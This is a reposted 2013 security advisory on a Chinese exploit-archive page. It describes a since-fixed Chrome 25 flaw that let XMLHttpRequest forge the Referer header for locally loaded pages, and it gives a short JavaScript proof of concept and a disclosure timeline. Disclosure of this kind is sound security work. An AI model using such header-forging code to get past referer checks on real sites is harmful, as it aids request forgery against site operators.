首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Google Chrome 25.0.1364.152 HTTP Referer Header Faking
来源:http://www.chromium.org/ 作者:Mizrachi 发布时间:2013-07-09  
Advisory:                      XMLHttpRequest HTTP Referer Header Faking
Author:                         Liad Mizrachi
Vendor URL:                http://www.chromium.org/
Vulnerability Status:     Fixed
Application Version:     Google Chrome v25.0.1364.152


==========================
Vulnerability Description
==========================

Chromium is the open source web browser project from which Google
Chrome draws its source code.

Chromium fails to validate the use of unsafe headers when the page is
load from the local drive, allowing to set and change the referer
header using "setRequestHeader" when generating a Ajax
(XMLHttpRequest) request.


==========================
PoC
==========================

function SendReq()
{
    var xmlhttp = new XmlHttpRequest();
    xmlHttp.onreadystatechange = readyStateChanged;
    xmlHttp.open("GET", "http://AnySite.com/checkReferer.php", true);
    xmlHttp.setRequestHeader("Referer", "http://valid.referer.com");
    xmlHttp.send();
}


==========================
Solution
==========================

Block all scripts from setting unsafe headers in XMLHttpRequest.
- Fixed by vendor.



==========================
Disclosure Timeline
==========================

04-Mar-2013 - Google Security Team informed by mail.
14-Mar-2013 - Google Security Team Reply: "Since ChromeOS is an open
source project, please file the report directly in their bug tracker"
14-Mar-2013 - Security Bug Opened @ Chromium project.
30-Apr-2013 - Fixed.


==========================
References
==========================
http://www.chromium.org/
https://codereview.chromium.org/13979011/



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·AOL Instant Messenger 8.0.1.5
·Solaris Recommended Patch Clus
·OpenNetAdmin 13.03.01 Remote C
·ERS Viewer 2013 ERS File Handl
·Adobe Reader X 10.1.4.38 - BMP
·SikaBoom Remote Buffer overflo
·InstantCMS 1.6 Remote PHP Code
·Apache CXF prior to 2.5.10, 2.
·Opera 12.15 Denial Of Service
·Jolix Media Player 1.1.0 (.m3u
·Nokia 1280 Denial Of Service
·nginx 1.3.9/1.4.0 x86 Brute Fo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved